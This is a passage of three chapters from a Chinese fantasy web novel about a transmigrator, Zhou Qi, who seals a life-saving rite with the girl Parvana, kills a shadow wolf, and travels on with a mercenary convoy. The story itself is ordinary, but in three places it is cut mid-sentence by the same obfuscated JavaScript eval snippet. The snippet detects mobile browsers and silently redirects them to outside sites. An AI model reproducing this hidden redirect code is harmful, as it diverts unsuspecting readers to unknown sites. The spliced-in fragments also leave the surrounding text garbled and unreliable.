好像有点单调了…… 他一边想着,在“辉光”之前加上了限定词“无上”。 无上辉光,还蛮帅的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418471|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但这几个字似乎并没有办法太确切地代表他。 如果直接说从异世界来的穿越者,又有点危险。有什么是他拥有而其他人绝对没有的东西吗? 星虫? 对啊,他可以直接用星虫来代指自己,就是听起来有些像毛毛虫…… 干脆把虫删了,直接叫“星星”,而且无光密界没有“星星”这个单词,他需要使用原来世界的语言。 而了解这个单词含义的人也只有他一个,这不就巧妙地暗示了他的穿越者身份? 周祈快速想好了一个不算完整的名字,“无上辉光,繁星的化身”。 接下来就该进行仪式的最后一步,而这也是可以直接省略的一步,因为他并不需要帕尔瓦娜献祭什么。 周祈轻轻握住帕尔瓦娜的肩膀,扶起她的上半身,摇晃了几下。 “帕尔…帕尔……” 昏迷中的女孩发出一声满是痛苦的低吟,眉头皱得更紧。 周祈贴在她耳边,用平缓的声线对她说,“帕尔,你听我说,我现在要想办法救你的命,我说什么,你就重复什么,好吗?” 帕尔瓦娜无意识地侧了下头,朝向他胸膛的方向。 周祈知道她能听见自己的话,便接着往下说。 “来,和我一起说。无上辉光……” 怀中的人没有反应,周祈攥住她冰凉的手掌,用力捏了一下。 她全身都在战栗,一段长久的静默之后,才嗫嚅着开口,“……无上…辉光……” “繁星的化身。” “……繁星…的……化身……” 伴随着她低声的诵念,周祈腹中一热,寄生在他体内的星虫躁动起来。 他真的感受到某种连接正在建立,赶忙试着调动右眼的灵知。顷刻间,他的感官与那两根蜡烛之上的火光连接在一起。 与此同时,周祈心底生出一种奇怪的感受,除了双眼能看到的视域外,他甚至可以从更高的视角俯视整片空间。 这是一种类似“上帝视角”的体验,他不仅可以看到洞穴石壁上的露珠,散发着微弱热量的火堆,表情痛苦的女孩,甚至还能看到他自己——穿着破破烂烂的黑发青年,表情带着讶异,似乎正在为某个发现而惊奇,看起来不太聪明…… 他继续完成仪式,说出最后一段祷词。 “我,帕尔瓦娜,向您祷告,祈求您庇佑我的生命。” 帕尔瓦娜颤抖得更加厉害,用十分微弱的音量重复道,“我…帕尔…瓦娜……向您祷告……祈求您……庇佑……我的生命……” 最后一个音节落下,女孩再次失去意识,陷入昏迷,与此同时,她和星虫之间的连接已经完全建立。 帕尔瓦娜眉心处浮现一团灰白色的光点,举行过多次召唤仪式的周祈瞬间认出,那团光点是她的魂质。 灰白色的? 周祈用疑惑的目光望向那团光点。 魂质有色相之分,不同的颜色代表本体拥有不同准则的天赋,但目前已知的九种准则中没有“灰色”的存在。 除了颜色之外,魂质还有温度的区别,男人的魂质是炽热的阳性,女人的魂质是冰寒的阴性,这是秘术界公认的“基本常识”。 但,帕尔瓦娜眉心处的灰白色光团为什么正在向外冒热气? 她一个女孩,魂质为什么会是阳性的? 周祈收回思绪,现在不是探究这些无伤大雅的小问题的时候。 他试着操控星虫给予回应,那团金灿灿的东西分裂出蝌蚪大小的“小星虫”,像是从燃烧的火炬中迸出的一团小火花。 “小星虫”从周祈的伤疤处飘出,身躯变成半透明状,快速接近帕尔瓦娜胸前的伤口。 18. 密苑钟声(十八) 灵动的金色物质跃入伤口之中,逐渐变形成数根如同星雾一般闪烁着零碎光芒的半透明触手,依稀可以看见触手上铭刻着的繁复花纹。 它们逐渐伸长,用顶端去触碰帕尔瓦娜胸前的伤口,数根触手组成一张牢不可破的大网,将正在伤口中发芽的花种团团围住。 那长着昆虫脸的丑东西起初还想反抗,它挥舞着尖锐的口器,不停发出尖锐的嘶喊声,像个哭泣的孩子。 触手缠绕在无相花种四周,将它牢牢禁锢,再也动弹不得。 女孩胸前那道血肉翻飞的狰狞伤口以肉眼可见的速度快速愈合,最终只剩下一道裂隙一样的伤疤,和周祈腹部的那条一样,向外透着光亮。 但她的这条伤疤没有颜色,不是白色不是灰色,只是一片没有色相的、混沌的光芒。 帕尔瓦娜与他之间的连接化作一团斑斓的能量团,并一分为二,一部分没入她胸骨正中央的伤疤,一部分进入周祈的精神领域。 斑斓酝酿着,似乎在向他确认要变幻成什么样的图案。 周祈想了想,在自己的脑海中勾勒出一只正在振翅的蝴蝶。 想法敲定的一瞬间,他的精神领域和帕尔瓦娜的胸骨上同时出现一个蝴蝶符号。 ——这个符号的出现标志着敕印仪式的结束。 居然真的成功了,真的由他为帕尔瓦娜完成了敕印。 虽然这份“保护”并不牢固,昆虫脸仍在禁锢之中挣扎着,随时有可能脱困而出,但帕尔瓦娜像破洞气球一样向外泄露的生命力总算是止住,她暂时安全了。 肤色苍白的女孩仍陷在昏迷之中,没有要醒来的迹象,但她脸上的痛苦已经渐渐消退,看起来只是睡着了。 周祈心中突然多了一丝莫名的感慨,帕尔瓦娜的命运是否会因为他这的这一举动而拗转?这个世界以后还会出现“腐败魔女”吗? 与此同时,他感觉到自己的身体也发生了一些变化。 最明显的变化来自腹部,那只星虫彻底与他融合在一起,成为他血肉的一部分,甚至可以说成为了他的“新器官”。 蕴藏在右眼的灵知恢复到充盈的状态,并分裂出了另一团火焰,这一团火汇入他的左眼,成为新的灵知源泉。 周祈心中产生一个明悟:他已经完成晋阶,成为了正式的一阶秘术师。 再使用【火球术】时就可以激发一阶秘术法印完整的威力,也可以将秘术符号烙印进精神领域内,直接使用灵知激活。 他的注意力落在目前精神领域内唯一的秘术符号之上。 西奥多·莱特在笔记上提到过,不要轻易将未知来源的符号烙印进精神领域内,而他很清楚这个蝴蝶符号的来源,它是星虫从帕尔瓦娜的魂质中汲取出来的。 周祈正要查看秘术符号拥有什么样的能力时,洞穴深处传来一阵细细簌簌的响动,像是野兽的爪子在地上爬行时发出的声音。 他立刻警觉,一只手将短剑握在手中,另一只手握住橙色准则的拗转药剂。 片刻后,黑暗之中走出一只身披黑色毛发、外表看起来像狼的生物。 这只生物的面部没有被任何皮肤组织覆盖,苍白的面部骨骼直接暴露在空气之中,它的眼睛极为细长,一直蔓延至耳根,眼眶里长着三对眼珠,彼此挤压,眼球的缝隙被黑色的雾气填满。 除此之外,肚子和尾巴也不是正常状态,裸露在外的肋骨中同样盘旋着黑色的雾气。 周祈一眼就认出,这只外表像狼的生物其实是游戏里名为“雾影黑狼”的异种。 这种生物十分阴险狡猾,它们可以将自己的身体整个变成一团黑雾,在暗影中穿行,并且当雾影黑狼处于【雾化】状态时,无法被任何武器或秘术命中。 它一定是嗅到了鲜血的味道,才沿着山缝找了过来。 周祈握紧短剑,那只黑狼低头弓腰,喉咙发出汽车发动机一样的低吼,深紫色的眼瞳已经变得血红,这代表着它已经进入攻击状态,随时有可能扑过来发动袭击。 危险的预感在心中翻涌,周祈拔出玻璃试管的瓶塞,将橙色拗转药剂灌了下去。 他刚刚已经清点过剩余法印的数量,现在他藏在腰带中的法印只剩下四枚火球术和一枚开锁术。 黑狼口中的涎水从骨缝中流出,它距离周祈原本还有十米左右,在锁定目标后,腹腔中的黑雾陡然膨胀外散,全身都在一瞬间异化成了一团黑雾。 黑雾潜入洞穴墙边的隐形之中,急速向前冲刺,但它选择的却不是周祈所在的方向,它的目标一直是昏迷中的帕尔瓦娜! 周祈立刻激活一枚火球术法印,将手掌心凝出的火球朝帕尔瓦娜旁边的小火堆扔去。 完整的一阶法印轻易点燃火堆中那些因受潮无法燃烧的树枝,原本奄奄一息的火堆登时爆发出灼眼的光亮,周围五米左右的空间都被照亮。 黑狼无法在没有影子的地方潜行,只能在火光边缘停下,并脱离【雾化】状态,恢复成原本的形态。 成熟体雾影黑狼体型最大可以长到三米,比一层楼还要高,而眼前这只黑狼只到周祈胸前,它明显是只还未发育完全的幼年体,无法连续发动【雾化】。 周祈看准这一时机,提着短剑向前突刺。 按照他在游戏里的经验,打雾影黑狼一定不能被拖入它的雾化节奏中,要想办法掌握主动权。 雾影黑狼拥有一定的智力,它看出周祈手中握着武器,向一旁猛扑,闪开这一击。 这时,它的“技能冷却时间”结束,又一次进入雾化状态。 周祈退回火光范围内,雾影黑狼的【雾化】让它的行踪难以捉摸,但反过来,也是它的一项致命缺陷。 它无法在雾化状态时用利齿和爪子攻击敌人。 身后的火堆即将在火球术的高温火焰中燃尽,恢复成正常形态的黑狼在火光边缘来回踱步,似乎在等着火堆熄灭的那一刻发动袭击。 周祈与它对峙,也在等待火堆熄灭。 他死死盯着黑狼的腹腔,如果他的记忆没有出现差错,那团黑雾包裹着的其实正是黑狼的心脏,也是它最脆弱的要害。 如果命中黑狼的心脏,就可以直接杀死它。 周祈在心里不停计算着一剑命中黑狼心脏的可能性。 背后的火光一点一点衰减,黑狼摩拳擦掌,利爪在山石地面上摩擦发出“吱啦吱啦”的响动,涎水顺着向下生长的獠牙滴落在地面上。 它的爪子和尖牙比任何猎犬都更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418472|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加有力,可以一口咬断人类脆弱的脖颈。 火光熄灭,黑狼在暗影笼罩整片空间的同时雾化成黑雾,悬浮在半空中,朝周祈的方向快速移动。 就在它贴近这名空间中唯一站立的男人时,他的双手再一次迸发耀眼的火光。 周祈还是没有将火球瞄准黑狼,雾化状态下的异种无法被任何秘术命中,他将火球对准山洞顶部,盘踞在洞穴顶部的陈年蛛网瞬间被点燃,火光再一次照亮这片空间。 黑狼无所遁形,雾化也在此时结束,它再也无法闪避,嘶吼一声,张开大口,朝那名人类男性扑去。 周祈早计算到它会选择发动攻击,立刻双膝着地,上半身向后仰倒,几乎贴近地面,躲过黑狼的扑袭,在黑狼从脸上越过去的同时,他手腕用力,手中的短剑向上猛刺,穿过白骨的缝隙命中黑雾中央跳动的心脏。 黑紫色的血液立刻洒了他满身满脸,黑狼发出一声凄厉的悲鸣,随即失去气息。 异种的血液比人类的血更加腥臭,周祈推开压在他身上的黑狼尸体,开始干呕起来。 星虫自行伸出几根黄金触手,延展着进入黑狼的尸体,找到它龟缩成一团的魂质,像对待花种一样,将它捕捉回周祈腹中,开始进行消化。 周祈吐了几下后好受多了,他害怕洞穴深处还有成熟的雾影黑狼,甚至没有耐心等待星虫结束消化,他快速挖下黑狼尸体上最值钱的六颗眼珠,将它们装入空了的玻璃试管中。 周祈堵上瓶塞,用腰带随意擦了擦脸上的黑血,随后带着昏迷中的女孩从进来的道路离开这片危险的空间。 ** 周祈背着帕尔瓦娜闷头往前方跑,隐约看到一些有别于自然光的光源,刚想靠近一些,他没注意到前方有一处小泥坑,踩进去后脚下一软,沿着小坡滚了下去。 他用手护着帕尔瓦娜的后脑勺,生怕她因为自己的一时疏忽永远无法从昏迷中醒来。 他们一直滚到山坡下方,周祈头晕目眩,刚想直起身查看情况,身后突然亮起一道刺眼的光芒。 几秒后,周祈才反应过来,这突然出现的光源很像是汽车的远光灯。 他艰难地转过头,看到一个奇怪的庞然大物。 这东西有着现代汽车一样的车头,车身却像是老式的马车车厢,四个轮胎同样巨大且造型复古,整体看起来像是内燃机版本的南瓜汽车。 他后知后觉,自己现在是带着帕尔瓦娜一路摔到了柏油公路上,还撞上了一辆车。 我这算碰瓷吗…应该不算吧… 周祈躺在地上胡思乱想着,一道低沉的男声从车内传来,“是不是撞到野狼了?兰斯,我们下去看看。” 紧接着,他听到开门、关门的声音,以及靴子和碎石摩擦的声音,好像是两个人一起向他走来。 “诶,好像是个人,还、还是两个人!” 周祈回正自己的脑袋,正对上一双海蓝色的眼睛,他用力眨了眨眼,看到一张无论放在时代都称得上英俊的脸庞。 男人的金发比身后的车灯还要刺眼,他眯起眼睛上下打量周祈,半晌后,那张英俊过人的脸庞浮现出鄙夷的神情。 “脏兮兮的,一看就不是什么好人,尼森,把他绑起来。” 19. 密苑钟声(十九) 修道院的地下山谷中,梅瑞狄斯面色铁青地盯着青年和女孩消失的地方。 “怎么可能?”他紧咬着牙,“他怎么可能挣脱我的禁锢秘术,甚至在主的注视下消失?” 一旁的蒂尔·艾弗森更是满脸的不可思议,“主教阁下,他、他好像是用了‘开锁术’……” “开锁术?” 梅瑞狄斯仔细端详祭坛表面被玄学填满的凹槽,终于看出这图案似乎是一个秘术符号。 “他为什么会知道这个符号可以用开锁术激活?” 梅瑞狄斯咬牙切齿。 蒂尔·艾弗森同样震惊,心里甚至有了一个大胆的猜测,“难道、难道他……” 难道这才是他从那本书中看到的内容? 蒂尔攥紧拳头,该死的,真的应该先用刀刮咒让他尝尝千刀万剐、钻心剜骨的滋味! 怎么就能轻信了这个骗子的话,甚至让他轻易逃脱,两次! 第二次甚至还是在主的注视下…… 意识到这一点后,蒂尔喃喃自语,“这怎么可能,他明明是个普通到不能再普通的普通人,最多只能是无阶秘术师,他怎么可能……” 难道他隐藏了自己的真实等阶? 蒂尔心里冒出一个大胆的猜测。 可……为什么主教阁下也没有察觉? 难道他比主教阁下的等阶还要高? 这个人的背后究竟是怎样的秘密组织…… 蒂尔·艾弗森头脑风暴之时,梅瑞狄斯突然发出一声痛苦的低吟,“不……” 他苍白的脸庞开始变得扭曲,好像正在经历莫大的痛苦。 “主教阁下!” 梅瑞狄斯没有理会蒂尔的惊呼,他撞开扶着他身体的两名教士,手肘着地跪伏在地上,将头深深埋在胸前,“伟大的主…我…向您忏悔……” 颤抖的尾音还未消散,梅瑞狄斯的身体猛地剧烈抽搐起来,他“哇”的一声吐出一口混杂着脏器碎块的乌血,肉块像刚从海里捞上来的活虾,不停在血水中翻腾蠕动着。 “感谢…感谢您的宽恕……” 梅瑞狄斯逐渐停止战栗,他直起上半身,用手背擦掉嘴角的血,目光凶狠地看向金属湖中央的祭坛。 “去找!告诉所有人,不惜一切代价,一定要把花种找回来!” - “给,喝一口润润嗓子吧。” 名叫尼森的男人递过来一个保温杯盖子,周祈早就渴得眼冒金星,也没多想,接过来就往喉咙里灌,但杯盖里装的根本不是水,而是烈酒。 他立刻被酒精直冲天灵盖的刺鼻气味呛到,刚喝进嘴里的液体全部被他咳了出来。 尼森发出一连串爽朗的笑声,“我还是第一次见有人敢这样喝伏特加。” 周祈本来想用袖子擦一擦下巴上的酒,抬起手后又想起,他现在穿着是兰斯的外套,便用自己的手背简单擦了擦。 他没有对尼森捉弄自己的行为发表任何看法,只是冲他露出一个略显无奈的微笑。 “你刚刚说,你叫K,从圣奥朗科来,要到弗洛利加?” “嗯。” 周祈点点头,小口抿着杯盖中的烈酒,“是去……寻找一位亲友。” 尼森的目光在周祈和倚靠着他的女孩之间来回转移,“你说她是你的,呃……妹妹?但你们长得好像不是很像……” 何止是不像,我们根本不是一个人种…… 周祈在心里腹诽着,顺手把披在帕尔瓦娜身上的外套裹得更紧,“这个,说来话长了。不过你放心,我绝对不是人贩子,等她醒了你们可以向她确认。” 尼森又笑了两声,“当然,你当然不是!嘿,别把兰斯的话放心上,那小子脾气是臭了点,心肠还是很好的。” 周祈捧着杯盖,默默认可了尼森最后那句话的前半句。 半个小时前,那个名叫兰斯的金发青年上来就要把他和帕尔瓦娜捆起来,遭到尼森的阻拦后,他又开始怀疑周祈是拐带少女的人贩子。 好在尼森是个明事理的好大叔,不仅愿意耐心听周祈解释,还看出帕尔瓦娜状态很差,把自己的外套借给她取暖。 在尼森的劝说下,兰斯才心不甘情不愿的把自己的外套给了周祈。 周祈当然不可能把真相告诉他们,在他口中,他和帕尔瓦娜是从东方人最多的城市圣奥朗科而来,在路上遭到了一伙“山匪”的袭击。 兄妹二人花费了很大的代价才从强盗手中逃脱,妹妹还因此受了重伤,行李、证件什么的全部没有了…… 尼森当即表示可以捎上他们前往附近的小镇,而兰斯最开始时坚决反对,在尼森的再三劝说下才稍稍松口。 他对浑身脏兮兮的周祈十分嫌弃,说什么都不愿意让周祈进入他所在的那辆拥有暖气的车。 好在周祈也不挑,有车可坐他已经很满足了。 他抱着帕尔瓦娜进入尼森的车厢,在有一搭没一搭的聊天中,周祈得知对方和那个名叫兰斯的青年都来自同一个雇佣兵公司。 雇佣兵公司在普路托大陆任何一个国家或城市都很常见,他们所接受的委托业务十分广泛,包括但不限于运输、私人安保,甚至包括小范围的战争。 “我们车队的目的地也是弗洛利加,等会儿到了休息的地方我就去和兰斯说,让你和你妹妹搭个顺风车,和我们一起过去,他会同意的。” 周祈闻言,急忙表示感谢,“真是麻烦你了,尼森大哥,我会支付相应的费用……” 话说到一半,他突然想到一件十分严肃的事——他身上好像并没有这个世界的货币。 尼森看出他的窘迫,朝他摆摆手,“不用这么客气,正好顺路嘛。” “对了。”他想到了什么,用手指了指昏迷中的女孩,“我们车队经常路过绿泉镇,我在那里认识一个不错的医生,等会儿我给他打个电话,让他过来一趟,看看你妹妹的情况。” 正说着,司机猛地踩了一下刹车,回身敲了敲驾驶座和车厢之间的隔断玻璃,示意他们目的地到了。 “走吧。” 尼森为他们打开车门,“我和这家旅馆的老板关系还算可以,就算你没有证件也没关系。” 周祈抱着帕尔瓦娜下车,正好有着一头耀眼金发的兰斯从他那辆开着暖气的车上走出。两人的视线碰撞在一起,兰斯皱起眉头,蓝色的眼睛上下扫视着周祈,之后又迅速移开目光。 周祈能明显感受到对方眼中满满的嫌弃,但他有求于人,只当作没看见。 车队总共四辆车,每辆车都有两个人轮替着开,除了兰斯外,剩下的几人都是和尼森差不多的、四五十岁左右的中年男人。 正值深夜,几位雇佣兵开了一整天的车,难免有些疲惫,他们没急着进到室内,聚在车边抽烟解乏。 尼森还在用车上的固定电话联系那名医生朋友,周祈便跟着兰斯去办理入住。前台的年轻女士似乎和兰斯很熟,什么话也没说,直接递给他四把贴着标签的钥匙。 “还有他。” 兰斯没有回头,用拇指向后戳了戳,示意那位女士看向自己身后。“他今晚也住在这里。” 穿着栗色制服的女士这才注意到周祈的存在,她露出一个不太明显的笑容,打趣一样向兰斯询问,“你们车队新招来的?看着有点眼生。” 兰斯撇了撇嘴,没有否认。 那位女士果然没有向周祈索要证件,她从抽屉里拿出最后一串钥匙拍在桌面上,“你们来得太晚,双人间已经没有了,只剩下最后一间单人间。” 周祈想了想,他可以睡在房间的凳子上,把床让给帕尔瓦娜,于是便点了点头,收下钥匙,“好的。” 他本来想提一嘴房费的事,但看到身旁的两位都没有要聊这回事的意思,他也就把想说的话都咽了回去。 比起对自己有明显偏见的兰斯,周祈还是更喜欢和为人和善的尼森交流。 钱的事还是去和尼森说吧。 - 即使是深夜,尼森的医生朋友还是很快赶了过来。 这位医生的发际线已经退至后脑,脸上夹着一副窄框眼镜,看起来医术十分高超的样子。 他用水银温度计给帕尔瓦娜测试体温,并很快得到女孩正在发高烧的结果。 “我给她打一剂退烧针,一个小时左右就会退烧。” 医生一边说着,迅速在女孩的胳膊上完成注射。 周祈帮他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15418473|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收拾好药箱,道谢的同时提到了诊费的问题。 “哈哈,这个你不用担心,尼森已经提前付过诊金了。”医生接过药箱,朝着周祈比划了几下,“另外,你最好用湿毛巾什么的替她物理降温一下,这样见效更快。” “好的,麻烦您了。” 周祈一直将医生送至旅馆门外,原本聚在车边的雇佣兵已经回到各自的房间休息,他也就没有选择这个时候去打扰尼森,准备明天再向他道谢。 - 回到房间后,周祈用温水浸湿旅馆提供的一次性毛巾,坐在床边替帕尔瓦娜擦拭裸露在外的皮肤。 他擦去女孩脸上的泥土和血迹,又小心翼翼地将毛巾往下转移,他不敢有半分逾矩,只是擦了擦女孩没有被衣领包裹的半截脖子。 再之后是她的手臂和双手,明明在发高烧,女孩的双手却十分冰凉。替她擦拭过手背后,周祈正要抽离自己的手,帕尔瓦娜却突然用力,紧紧抓住他的手掌。 周祈以为她醒了,急忙抬头去看,但女孩依旧双眼紧闭,没有任何要醒来的迹象,她紧握周祈手掌的动作似乎只是处于在寒冷中寻找热源的本能。 “是怕我跑了吗?”周祈露出一抹无奈的笑,“放心吧,我不会走的。” 他想要抽走自己的手,帕尔瓦娜明明还在生病,力气却大的吓人,尝试了几次都没成功后,周祈果断放弃,任由女孩抓着自己的手不放。 他用另一只手把湿毛巾搭在帕尔瓦娜的额头上,换了个舒服的姿势,上半身倚靠在床头上,尽量让自己不碰到帕尔瓦娜。 因为怕灯光打扰到女孩休息,周祈只留了一盏床头灯,从他的角度望过去,帕尔瓦娜的睫毛尾端卷翘着,皮肤白到血管呈现蓝紫色,她的面部留白不多,五官兼具稚嫩与英气两种风格,比起可爱甜美的少女,周祈更愿意用很漂亮的少年来形容她的长相。 看着女孩的脸,周祈突然感到有些恍惚。 就在几天前,他还只是个每天上班打卡、下班之后玩几个小时游戏的普通人,可现在呢,他拥有了像魔法一样神奇的能力,游戏里呼风唤雨的大boss就安静地躺在身边,紧紧攥着他的手,甚至他们的命运也因为种种意外交缠在了一起。 真是不可思议啊…… 他一边感叹着,肚子里的星虫毫无征兆地活跃起来。 它好像是终于消化了那只雾影黑狼的魂质,来给周祈提供一些反馈。 首先是灵知的提升,如果说他原本的等阶是一个空着的蓄水池,现在空池子里已经积了一层浅浅的水,等池子里的水积满,他就可以晋升为二阶秘术师。 星虫还从那只黑狼的魂质中汲取了新的符号,并直接烙印在周祈的精神领域之内。 那是一个由扭曲的黑线组成的图案,有点像蚊香。 能力则是雾影黑狼的【雾化】,激活符号后身体将会短暂进入黑雾状态,速度大幅度提升,无法被任何武器或秘术命中,同时可以在暗影中潜行。 雾影魔狼是支配黑色准则的异种,从它魂质中汲取出的符号自然也需要用黑色准则的力量激活。 周祈对起名非常不在行,干脆用雾影黑狼的前两个字为这个秘术符号命名。 正看着,他的注意力转移至【雾影】旁边、他和帕尔瓦娜共同拥有的那个符号上。 精神领域内,蝴蝶形状的符号像拥有生命一般,静默的飞舞着。 周祈好奇蝴蝶符号的能力,便尝试向它灌注灵知。斑斓的光芒带来大量的信息,周祈一时无法理清思绪。 他试着让星虫将这些东西整理成便于他理解的格式,星虫顿了一下似乎在思考,片刻后,一些排列整齐的文字缓缓出现在周祈眼前。 【姓名:帕尔瓦娜】 【年龄:17】 【血脉:人类(存疑)】 【性别:女(存疑)】 …… 这是直接替我整理成了“人物属性面板”? 等等,血脉和性别后面跟的存疑是什么意思? 是因为帕尔瓦娜的魂质比较特殊,星虫一时无法识别? 就在周祈思考之时,那两个代表“存疑”的字样化作碎片飘散,算是印证了他的猜想。 20. 密苑钟声(二十) 小插曲之后,周祈继续浏览帕尔瓦娜剩下的“属性面板”。 【等阶:无阶秘术师】 【身份:追随者】 【信仰天赋:好运(在一定时间内大幅度提升幸运值)】 【状态:高烧】 星虫贴心地向周祈传达了身份的不同种类,按照信仰值从低到高排序分别是:追随者、信徒、虔信者、使徒、狂热者。 信仰天赋则是依据追随者的天赋资质所获得的能力,表现形式是符号,任何属性的准则都可以激活它。 【状态】这一栏并非只有“发烧”两个字,将灵知投入这一栏后,他不仅可以查看帕尔瓦娜的身体、精神状态,甚至还能获得她实时的视野和五感。 如果他想的话,甚至可以操纵帕尔瓦娜的行为和思想。 敕印真的是太可怕了…… 周祈暗自下定决心,不到万不得已的时候绝对不使用这份能力。 这时,他注意到斑斓的文字下方还漂浮着一团光球。 抱着好奇的心态,周祈尝试用灵知去触碰那团光球,接触到光球表面的一瞬间,白光覆盖他的视野,一帧帧跳动的画面在眼前闪过。 他看到熟悉的蒂尔·艾弗森和神秘的银发青年,看到一个穿着黑色鱼尾裙的红唇女人,看到成百上千个和帕尔瓦娜同样装束的“修女”…… 周祈很快反应过来,他现在看到是帕尔瓦娜的记忆! 从眼前快速掠过的记忆并不完整,大概是只有帕尔瓦娜记忆深刻的那些瞬间。 最初的画面是一个看不清脸的女人,她将尚在襁褓中的帕尔瓦娜抱在怀里,一边给帕尔瓦娜戴上镶嵌紫色宝石的项链,一边说着什么。 她口中的语言晦涩复杂,周祈无法解读出女人都说了些什么。 第二个画面是那个涂着暗红色口红的黑裙女人,女人戴着一顶遮住一半眼睛的纱帽,衣领上别着一个和银发青年一样的蛇缠苹果徽章。 黑裙女人牵着帕尔瓦娜的手,用充满魅惑的语调低语着,“乖女儿,叫妈妈。” 帕尔瓦娜不说话,女人也没有强求,她牵着女孩的手,把她带到数名黑裙修女面前。 之后的画面与修道院中那两名传道士所说一致。 年幼的女孩们被关在一个密闭的场所中,换上统一的修女装束,互相搏斗、杀戮。 暴力冲突无时无刻不在发生,甚至在睡梦中都有可能遭到突然袭击,为了生存下去,这些脆弱的生命只能主动出击,向拥有部分相同血缘的亲人挥出利刃。 周祈心中五味杂陈,他很难想象女孩是如何在这样的高压环境中度过数年光阴。 第三个画面是一个看不清脸的黑发男人,他紧紧抓着帕尔瓦娜的肩膀,声音也有些失真,听不出原本的音色,只能听出他柔和真诚的语调。 “帕尔瓦娜,我一定带你逃出去。” 顺着帕尔瓦娜的视线,周祈看见那人手腕内侧的蝴蝶形伤痕。 原来他就是帕尔瓦娜的那位“兄长”。 正思考时,周祈眼前的画面突变,那个看不清脸的黑发男人倒在血泊中,而帕尔瓦娜的双手紧握着水银之刃,红唇女人的手攥着她的手腕,将刀尖抵在黑发男人心口。 “杀了他吧,好女儿,杀了他,妈妈就原谅你擅自逃跑。” 周祈能感受到女孩内心莫大的抗拒,她想要挣脱红唇女人的掌控,但女人的力气很大,用尽全身力气也无法撼动丝毫。 就在这时,黑发男人用手攥住刀身,虽然看不清脸,但周祈却能感觉到他在笑。 “没关系,杀了我吧,帕尔瓦娜,我不会疼的。” 他手腕用力,将锋利的刀刃刺入自己的心脏,画面也随之崩解。 一道冰凉又危险的目光投射到自己的皮肤上。 他猛地睁开眼,正好对上一双湖水般碧绿的眼眸。 原本昏睡中的女孩不知在何时醒了过来,眼睛一眨不眨地盯着他看。 - 帕尔瓦娜从未想过自己还会活着,也从未想过再醒来时还能看到眼前这个人。 她盯着黑发青年看了几秒,目光下移,视线移至两人紧握在一起的手。 周祈像是摸到了一块滚烫的烙铁,急忙松开女孩的手,从床边站了起来,“抱歉,我不是故意的,是刚刚你的手太冷了我才……” 女孩的记忆还停留在自己被步枪击中时的场景,她抬手按向自己的胸膛,却发现那本该致命的伤口已然愈合,还多了一个金光闪闪的蝴蝶符号。 她的指尖贴向蝴蝶符号的翅膀,周祈急忙解释,“当时情况危急,如果我不这么做的话你就会死,我不想你死,所以……” 他絮絮叨叨说着,女孩却没有认真在听。 她注意到自己身体上发生的变化,……好像是拥有了一些曾经没有的力量,是敕印吗? 而且胸腔中似乎还有别的东西存在,只是那东西被时被封印住了。 女孩的沉默落在周祈眼中变成了戒备,他忐忑着,语速也越来越快,“我当时真的没有别的选择,敕印是我能想到让你活下去的唯一方法。” 帕尔瓦娜低下头,手指摩挲着胸骨处多出的符号,看不清楚眼神和表情。 片刻后,她哑着嗓子问,“这道敕印来自你追奉的神明?” 周祈没有否认。 在来旅馆的路上,他已经考虑过这个问题,并得到一个确切的答案——他不能告诉帕尔瓦娜那道敕印的来源就是他。 星虫的能力太过惊人,如果让其他任何人知道,难免会招来不必要的麻烦。 他的隐瞒并不是对帕尔瓦娜的不信任,这个世界存在许多窥探人精神世界的秘术,比如银发主教曾经对他施展过的“真言秘术”,甚至周祈自己刚刚就无意间浏览了帕尔瓦娜许多的记忆。 就算女孩意志坚定,他也不敢保证这个秘密会不会无意间被泄露。 他向帕尔瓦娜隐藏这一层真相,是对两个人的一种保护。 “没错。” 周祈看着帕尔瓦娜,努力让自己的语气听起来更真挚一些,“现在我们两个一样了。” 帕尔瓦娜抬起头,已经成为一阶秘术师的周祈感知力更加敏锐,他捕捉到帕尔瓦娜眼神的变化,她好像终于心情好转了一些。 周祈见这话有效,便继续往下说,“我们现在是一条船上的人了,伊甸的人现在肯定在四处找我们,但我会想办法保护我们的安全。” “帕尔瓦娜,你要相信我,我不会再让你过回原来那种被迫进行杀戮的生活了。” 听了他的话,女孩刚刚柔和下来的视线再次变得警惕,“你为什么会知道?” 周祈眨了眨眼,过了几秒才反应过来,自己好像是说错话了。 他没有办法,只能咬着牙承认,“对不起,我刚刚不小心看到了你的记忆。但我不是故意要看的,真的真的!你相信我!” 帕尔瓦娜的脸色明显往下沉了不少,她攥着自己的宝石吊坠,目光冰冷地看着周祈,“你看到了多少?” 周祈还是第一次在女孩脸上看到这么明显的表情变化,不免有些心虚,他一边用食指挠着太阳穴,一边回答女孩,“呃……所有。” 